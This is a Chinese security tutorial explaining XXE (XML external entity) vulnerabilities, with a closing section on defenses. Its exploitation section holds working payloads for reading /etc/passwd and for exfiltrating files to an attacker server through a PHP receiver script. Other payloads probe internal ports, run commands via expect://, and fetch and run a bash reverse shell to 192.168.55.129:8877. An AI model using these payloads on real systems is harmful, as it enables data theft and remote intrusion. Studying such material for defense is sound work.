现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确。当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击。本期“安仔课堂”,ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御。

 

一、XML基础知识 

XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<?xml version="1.0"?>

<!DOCTYPE note [

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to      (#PCDATA)>

<!ELEMENT from    (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body    (#PCDATA)>]>

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don't forget the meeting!</body>

</note>

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

内部声明DTD:<!DOCTYPE 根元素 [元素声明]>;

引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">;

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体:<!ENTITY 实体名称 "实体的值">;

引用外部实体:<!ENTITY 实体名称 SYSTEM "URI">。

 二、XML外部实体  

使用XML主要是为了使两个采用不同技术的系统可以通过XML进行通信和交换数据。而有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或远程的内容。比如,下面的XML文档样例就包含了XML“实体”:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

在上面的代码中,XML外部实体“XXE”被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体“XXE”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器,“XXE”实体的值将从其后的URI中读取。

 三、XML外部实体攻击

当XML允许引用外部实体,关键字“SYSTEM”会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。

简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器,对外部实体有不同的处理规则。

在PHP中默认处理的函数为xml_parse和simplexml_load,xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java、Python等处理XML的组件及函数中,都可能存在此问题。

如何判断是否存在XML外部实体攻击?那就是寻找那些接受XML作为输入内容的端点,而有些端点可能并不是那么明显,比如一些仅使用JSON去访问服务的客户端,可以通过修改HTTP的请求或修改Content-Type头部字段等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,那么就可能存在XXE攻击漏洞。

四、XXE漏洞测试  

借助XXE,攻击者可以实现任意文件读取,DDOS拒绝服务攻击以及代理扫描内网等。

1.任意文件读取漏洞测试

当有回显时,直接利用payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

可以进行任意文件读取文件: 

图1

当无回显时,引用远程服务器上的XML文件读取文件:

将以下get.php,1.xml保存到自己的WEB服务器下

get.php:

<?php

$xml=$_GET['xml'];

$base=base64_decode($xml);

file_put_contents('data.txt', $base);

?>

1.xml:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">

%int;

%trick;

直接发送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

就能读取任意文件并把数据保存到本地的data.txt文件里:

图2

 

2.探测内网端口和网站

有回显时,直接发送payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&XXE;</name>

</root>

端口存在时会返回页面报错信息:

图3

端口不存在时,返回无法连接的报错信息:

图4

无回显时,修改1.xml文件,把file协议修改为需要扫描的IP:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">

<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">

%int;

%trick;

直接发送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

当端口存在web页面,也可获得内网网站的的页面源代码:

图5

3.攻击内网网站

若内网网站存在命令执行漏洞时:

将以下bash.txt保存至自己的WEB服务器下:

bash.txt:

bash -i >& /dev/tcp/192.168.55.129/8877 0>&1

发送以下payload获取bash.txt文件:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>

<root>

<name>&XXE;</name>

</root>

图6

在本机监听一个端口:

图7

发送一下payload,获得反弹shellcode命令:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>

<root>

<name>&XXE;</name>

</root>

图8

4.执行系统命令

若安装expect扩展的PHP环境里还可以直接执行系统命令,其他协议也有可能可以执行系统命令。

直接执行payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "expect://id" >]>

<root>

<name>&XXE;</name>

</root>

 

五、防御XXE攻击

防御XXE攻击主要有三方面:一是检查所使用的底层XML解析库,默认禁止外部实体的解析二是若使用第三方应用代码需要及时升级补丁;三是对用户提交的XML数据进行过滤,关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。

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